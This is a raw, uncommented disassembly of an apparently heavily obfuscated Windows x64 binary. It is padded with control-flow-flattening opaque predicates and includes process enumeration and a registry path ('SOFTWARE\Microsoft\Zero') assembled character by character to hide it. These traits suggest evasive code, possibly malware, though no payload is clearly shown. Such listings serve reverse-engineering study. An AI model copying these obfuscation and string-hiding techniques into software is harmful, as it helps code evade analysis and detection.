mov rax, qword [rbp + 0x38]
mov rax, qword [rbp - 0x60]
mov dword [rax], 0xfa
mov rdx, qword [rbp - 0x60]
sub rsp, 0x20
lea rcx, [0x140087240]
call qword [0x140087658]
add rsp, 0x20
test rax, rax
setne byte [rbp + 0x47]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x6a5d6f16
and edx, 0x95a290e9
or edx, ebx
xor edx, 0x95a290e8
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
mov edx, 0x99152bf6
mov eax, 0xeef55256
cmovne edx, eax
test cl, cl
mov eax, 0x99152bf6
cmovne eax, edx
test bl, bl
cmove eax, edx
mov r13d, 0x9e681c4e
mov r12d, 0x5ad4d720
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xa018cd65
and ecx, 0x5fe7329a
or ecx, eax
mov eax, ecx
xor eax, 0x5fe7329a
xor ecx, 0xa0104844
and ecx, 0xe4d26844
mov edx, eax
and edx, 0x1b2d97bb
or edx, ecx
xor edx, 0x1b2d97ba
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov ebx, 0x92613878
mov eax, 0x7f5af817
cmovne ebx, eax
test dl, dl
mov eax, 0x92613878
jmp 0x14002b8e8
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x91294151
and edx, 0x6ed6beae
or edx, ecx
mov ebx, edx
xor ebx, 0x6ed6beae
xor edx, 0x80200040
and edx, 0xeaa2906c
mov ecx, ebx
and ecx, 0x155d6f93
or ecx, edx
xor ecx, 0x155d6f92
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, al
or al, dl
and bl, dl
or bl, cl
mov ecx, eax
xor cl, bl
test bl, bl
mov edx, 0xb429fb3
mov ebx, 0x573d06b2
cmovne edx, ebx
test al, al
mov eax, 0xb429fb3
jmp 0x140026a5b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xb8f1d2d0
and ecx, 0x470e2d2f
or ecx, eax
mov eax, ecx
xor eax, 0x470e2d2e
and eax, 0xfffffffe
xor ecx, 0xb8f1d2d1
or ecx, eax
cmp ecx, 0xffffffff
sete al
setne cl
cmp dword [0x1400820fc], 0xa
setl dl
xor cl, dl
mov ebx, edx
xor bl, al
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
mov eax, 0x1d0d453e
mov ecx, 0x2ef2a396
cmovne eax, ecx
test dl, dl
mov ecx, 0x1d0d453e
jmp 0x14002b47c
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x9d9b79af
and edx, 0x62648650
or edx, eax
mov eax, edx
xor eax, 0x62648650
and eax, 0xfffffffe
xor edx, 0x9d9b79ae
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xc5f85f0f
mov ebx, 0x20cccf23
cmovne ecx, ebx
test al, al
mov eax, 0xc5f85f0f
jmp 0x14002b398
sub rsp, 0x20
lea rcx, [0x140086f40]
lea rdx, [0x14007b218]
call fcn.140060c84
add rsp, 0x20
mov eax, 0xd67f15b3
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0xadc8842b
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfdf145f
and ecx, 0xf020eba0
or ecx, edx
xor ecx, 0xf020eba1
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xef70d768
mov ebx, 0xccf921e2
cmovne ecx, ebx
test al, al
mov eax, ecx
cmovne eax, ebx
test dl, dl
jmp 0x14002b9c2
mov eax, dword [rbp - 0x70]
mov dword [rbp + 0x118], eax
mov rax, qword [rbp + 0xc0]
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xf6490afe
and ecx, 0x9b6f501
or ecx, eax
mov eax, ecx
xor eax, 0x9b6f501
xor ecx, 0xa0000898
and ecx, 0xa9249898
mov edx, eax
and edx, 0x56db6767
or edx, ecx
xor edx, 0x56db6766
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xc2f5a3d1
and eax, 0x3d0a5c2e
or eax, ecx
xor eax, 0x3d0a5c2e
sete al
setne cl
cmp dword [0x1400820fc], 0xa
setl dl
xor cl, dl
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x92eb4d84
mov ebx, 0xcecf44a3
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
test al, al
mov eax, 0x92eb4d84
jmp 0x14002979c
mov ecx, dword [0x1400820f8]
mov edi, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x17dcf8e6
and edx, 0xe8230719
or edx, ecx
mov ecx, edx
xor ecx, 0xe8230718
and ecx, 0xfffffffe
xor edx, 0x17dcf8e7
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x82d1b9e4
and edx, 0x7d2e461b
or edx, ecx
xor edx, 0x7d2e461b
sete al
setne dl
cmp edi, 0xa
setl bl
cmp edi, 9
setg cl
or cl, dl
xor bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0xfd72e8ab
mov ebx, 0xbef42e79
cmovne eax, ebx
test cl, cl
mov ecx, 0xfd72e8ab
jmp 0x14002b004
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd56fd22b
and edx, 0x2a902dd4
or edx, ecx
mov ecx, edx
xor ecx, 0x2a902dd4
xor edx, 0x556c8009
and edx, 0x55fc804d
mov ebx, ecx
and ebx, 0xaa037fb2
or ebx, edx
xor ebx, 0xaa037fb3
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xd05b4c14
and ecx, 0x2fa4b3eb
or ecx, edx
xor ecx, 0x2fa4b3eb
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, ebx
or bl, dl
and dl, al
and cl, r8b
or cl, dl
xor al, r8b
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
mov eax, 0x7a8fccc6
mov edx, 0x814faa
cmovne eax, edx
test bl, bl
mov edx, 0x7a8fccc6
jmp 0x14002a72b
mov eax, 0xca978a8
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp dword [rbp + 0x114], 0
sete byte [rbp + 0xaf]
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xafdeb85f
and ecx, 0x502147a0
or ecx, edx
xor ecx, 0x502147a1
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x97ee8e6b
mov ebx, 0xbb19b4f7
cmovne eax, ebx
test dl, dl
mov edx, 0x97ee8e6b
jmp 0x14002ae0a
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x6177ff65
and edx, 0x9e88009a
or edx, ebx
xor edx, 0x9e88009b
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
mov eax, 0x8b2a8cb5
mov edx, 0x56d8b952
cmovne eax, edx
test cl, cl
mov ecx, 0x8b2a8cb5
jmp 0x14002b47c
mov eax, 0x6dbbd133
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xe8b39d5f
and edx, 0x174c62a0
or edx, ebx
xor edx, 0x174c62a1
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0xfe437df4
mov edx, 0x78386040
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0xfe437df4
jmp 0x140029551
mov rax, qword [rbp - 0x18]
mov dword [rax], 0x238
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call sub.KERNEL32.dll_Process32FirstW
add rsp, 0x20
mov eax, 0x82c629e3
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
mov eax, 0x239cd041
mov edx, 0x33ac5252
cmovne eax, edx
test cl, cl
mov ecx, 0x239cd041
jmp 0x14002b47c
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xdd467b3f
and ecx, 0x22b984c0
or ecx, edx
xor ecx, 0xdd467b3e
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x2bdb3349
mov ebx, 0xbca40adc
cmovne ecx, ebx
test dl, dl
mov edx, 0x2bdb3349
jmp 0x14002bd09
mov dword [rbp - 0x78], 1
jmp 0x140029f76
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xf28cdb00
mov edx, eax
and edx, 0xd7324ff
or edx, ecx
xor edx, 0xd7324fe
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xa4b87c3b
and eax, 0x5b4783c4
or eax, ecx
xor eax, 0x5b4783c4
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov ebx, 0x9138dcab
mov eax, 0xe9e6803b
cmovne ebx, eax
test cl, cl
mov eax, ebx
mov ecx, 0x9138dcab
jmp 0x140026996
mov eax, 0x68173ef
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x1f4294ba
and edx, 0xe0bd6b45
or edx, eax
mov eax, edx
xor eax, 0xe0bd6b44
and eax, 0xfffffffe
xor edx, 0x1f4294bb
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
mov eax, 0x334178f
mov edx, 0xaf440522
cmovne eax, edx
test bl, bl
mov edx, 0x334178f
jmp 0x14002a72b
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1a63d9a7
and edx, 0xe59c2658
or edx, ecx
mov ecx, edx
xor ecx, 0xe59c2658
xor edx, 0xa01c986
and edx, 0xcb9dcb8e
mov ebx, ecx
and ebx, 0x34623471
or ebx, edx
xor ebx, 0x34623470
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xff06b129
and ecx, 0xf94ed6
or ecx, edx
xor ecx, 0xf94ed6
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, ebx
or bl, dl
and dl, al
and cl, r8b
or cl, dl
xor al, r8b
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
mov eax, 0xad6c0ac
mov edx, 0x99427f84
cmovne eax, edx
test bl, bl
mov edx, 0xad6c0ac
jmp 0x14002a72b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x527db979
and ecx, 0xad824686
or ecx, eax
mov eax, ecx
xor eax, 0xad824686
and eax, 0xfffffffe
xor ecx, 0x527db978
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete cl
cmp dword [0x1400820fc], 9
setg dl
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov ebx, 0x916adc07
mov eax, 0xc86aec51
cmovne ebx, eax
test dl, dl
mov eax, 0xc86aec51
jmp 0x14002605f
mov eax, dword [rbp - 0x68]
mov dword [rbp + 0x114], eax
mov rax, qword [rbp + 0x98]
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x59fc52b1
mov ebx, ecx
and ebx, 0xa603ad4e
or ebx, edx
xor ebx, 0xa603ad4f
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xd0b38c24
and ecx, 0x2f4c73db
or ecx, edx
xor ecx, 0x2f4c73db
sete r8b
setne dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, ecx
xor cl, dl
and dl, al
and bl, r8b
or bl, dl
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
mov ecx, 0xcf47dd3
mov edx, 0x97ee8e6b
cmovne ecx, edx
test al, al
mov eax, 0xcf47dd3
jmp 0x14002a949
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x27dcb275
and edx, 0xd8234d8a
or edx, eax
mov eax, edx
xor eax, 0xd8234d8a
and eax, 0xfffffffe
xor edx, 0x27dcb274
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0x3f8fbcc8
mov edx, 0x8b7c751a
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x3f8fbcc8
jmp 0x140029551
cmp byte [rbp + 0xae], 0
mov eax, 0xc2bd99ce
mov ecx, 0xac39e0e0
jmp 0x14002bb92
mov eax, 0x61a2ed5c
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rax, qword [rbp + 0x108]
mov rax, qword [rbp + 0x100]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x92ae977
mov ebx, 0xebe5cd7d
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0x92ae977
jmp 0x14002a730
mov ecx, dword [0x1400820f8]
mov edi, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa1751bab
and edx, 0x5e8ae454
or edx, ecx
mov ecx, edx
xor ecx, 0x5e8ae454
xor edx, 0x1010380
and edx, 0x5909a3d0
mov ebx, ecx
and ebx, 0xa6f65c2f
or ebx, edx
xor ebx, 0xa6f65c2e
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x531aeb34
and ecx, 0xace514cb
or ecx, edx
xor ecx, 0xace514cb
sete al
setne dl
cmp edi, 0xa
setl bl
cmp edi, 9
setg cl
or cl, dl
xor bl, al
mov edx, ecx
xor dl, bl
test bl, bl
mov eax, 0x560b2e17
mov ebx, 0x713eeb54
cmovne eax, ebx
test cl, cl
mov ecx, 0x560b2e17
jmp 0x14002b004
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0xbf8f070a
mov edi, 0xd559dfd5
jmp 0x14002633a
mov eax, 0x83931481
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rdx, rsp
mov dword [rdx], 0xfa
sub rsp, 0x20
lea rcx, [0x140086fc0]
call qword [0x140087238]
add rsp, 0x20
mov eax, 0xdaf7013f
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x41bb35b9
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x7dd7d126
mov ebx, 0x8fcff7ba
cmovne ecx, ebx
test dl, dl
mov edx, 0x7dd7d126
jmp 0x14002bd09
mov eax, dword [rbp + 0x11c]
mov eax, 0xdcf74840
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
movups xmmword [0x14008754a], xmm6
movaps xmmword [0x140087540], xmm6
movaps xmmword [0x140087530], xmm6
movaps xmmword [0x140087520], xmm6
movaps xmmword [0x140087510], xmm6
movaps xmmword [0x140087500], xmm6
movaps xmmword [0x1400874f0], xmm6
movaps xmmword [0x1400874e0], xmm6
movaps xmmword [0x1400874d0], xmm6
movaps xmmword [0x1400874c0], xmm6
movaps xmmword [0x1400874b0], xmm6
movaps xmmword [0x1400874a0], xmm6
movaps xmmword [0x140087490], xmm6
movaps xmmword [0x140087480], xmm6
movaps xmmword [0x140087470], xmm6
movaps xmmword [0x140087460], xmm6
sub rsp, 0x20
lea rcx, [0x140087460]
lea rdx, str.unknown
call fcn.140060c84
add rsp, 0x20
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xa1be927f
and ecx, 0x5e416d80
or ecx, edx
xor ecx, 0x5e416d81
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x5da9e3a0
mov ebx, 0xc0e763fa
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, al
mov eax, 0x5da9e3a0
jmp 0x14002b481
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x7485b022
and ecx, 0x8b7a4fdd
or ecx, eax
mov eax, ecx
xor eax, 0x8b7a4fdc
and eax, 0xfffffffe
xor ecx, 0x7485b023
or ecx, eax
mov eax, ecx
not eax
and eax, 0xcc87db0f
and ecx, 0x337824f0
or ecx, eax
xor ecx, 0x337824f0
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, eax
xor dl, cl
and cl, al
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x3d19c5d6
mov ebx, 0xf35b963e
cmovne eax, ebx
test cl, cl
mov ecx, 0x3d19c5d6
jmp 0x14002a7a8
mov eax, 0x73d3786c
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x26616829
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x4183eb20
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x1cfd5af3
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0xfea4de88
mov ebx, 0xf5e32ce8
jmp 0x14002bc19
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x2ef2a396
mov ebx, 0x7da28ea9
cmovne ecx, ebx
test al, al
mov eax, 0x2ef2a396
jmp 0x14002b398
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call qword [0x140082020]
add rsp, 0x20
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
setne bl
cmp dword [0x1400820fc], 0xa
setl dl
xor bl, dl
mov ecx, ebx
xor cl, 1
or al, dl
xor al, 1
or al, cl
xor cl, al
mov ecx, 0xdf3c6ae7
mov edx, 0x4166e813
cmovne ecx, edx
test al, al
mov eax, 0xdf3c6ae7
cmovne eax, ecx
test bl, bl
jmp 0x14002bb92
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x53786b8a
and edx, 0xac879475
or edx, ebx
xor edx, 0x53786b8b
or edx, eax
cmp edx, 0xffffffff
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov ebx, 0xdbf697df
mov eax, 0xcac10534
cmovne ebx, eax
test dl, dl
mov eax, 0xcac10534
cmovne eax, ebx
jmp 0x14002ae0d
mov eax, 0x7a6d816d
cmp eax, 0xf7172e3b
jg 0x14001ff3b
nop word [rax + rax]
cmp eax, 0xc0232711
jg 0x1400260f0
cmp eax, 0x9c71c428
jg 0x140026349
cmp eax, 0x8fcff7b9
jg 0x1400264be
cmp eax, 0x850114fd
jle 0x140026696
cmp eax, 0x8b2a8cb4
jle 0x140026b24
cmp eax, 0x8c00168e
jg 0x140027327
cmp eax, 0x8bc1252f
jg 0x1400283c6
cmp eax, 0x8b2a8cb5
je 0x140029485
cmp eax, 0x8b7c751a
jne 0x14001ff30
mov eax, 0x3f8fbcc8
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xdbdf71b8
jg 0x14002640b
cmp eax, 0xcb298ba3
jg 0x14002655c
cmp eax, 0xc415c597
jle 0x140026732
cmp eax, 0xc7ec9cf8
jle 0x140026b65
cmp eax, 0xca13ca64
jg 0x14002735d
cmp eax, 0xc9445303
jg 0x140028437
cmp eax, 0xc7ec9cf9
je 0x1400294f9
cmp eax, 0xc86aec51
jne 0x14001ff30
sub rsp, 0x20
call fcn.1400011d0
add rsp, 0x20
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov rax, qword [rbp - 0x40]
mov dword [rax], 0xff
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov rax, qword [rbp + 0x68]
movaps xmmword [rax], xmm6
mov dword [rax + 0x10], 0
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov rbx, qword [rbp - 0x30]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1c], 0x73
mov word [rbx], 0x53
mov rax, qword [rbp - 0x30]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x30]
mov word [rax + 0x2c], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x30]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x30]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x30]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x30]
mov word [rax + 0x24], 0x5c
mov rax, qword [rbp - 0x30]
mov word [rax + 0x26], 0x5a
mov rax, qword [rbp - 0x30]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x30]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x30]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x30]
mov word [rax + 8], 0x57
mov rax, qword [rbp - 0x30]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x30]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x30]
mov word [rax + 0x14], 0x69
mov rax, qword [rbp - 0x30]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0x28], 0x65
mov rax, qword [rbp - 0x30]
mov word [rax + 0x2a], 0x72
mov rax, qword [rbp - 0x40]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
lea rax, [0x140081b60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
mov rdx, rbx
lea r8, str.POST
mov r9d, 0xffff
call qword [0x140087438]
add rsp, 0x40
test eax, eax
sete byte [rbp + 0x7f]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xfb63f441
and edx, 0x49c0bbe
or edx, eax
xor edx, 0x49c0bbe
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0x916adc07
mov edi, 0xbab1644e
cmovne ebx, edi
test cl, cl
mov eax, ebx
cmovne eax, edi
jmp 0x14002b007
cmp eax, 0xaf440521
jg 0x1400265fe
cmp eax, 0xa6df903b
jle 0x1400267c6
cmp eax, 0xab9fd873
jle 0x140026bf6
cmp eax, 0xac73347d
jg 0x1400273e5
cmp eax, 0xac1d7687
jg 0x1400284c4
cmp eax, 0xab9fd874
je 0x140029559
cmp eax, 0xac013208
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x6ed615da
and edx, 0x9129ea25
or edx, ebx
xor edx, 0x6ed615db
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0xc63d9853
mov ebx, 0x703b902f
cmovne edx, ebx
test al, al
cmove edx, ebx
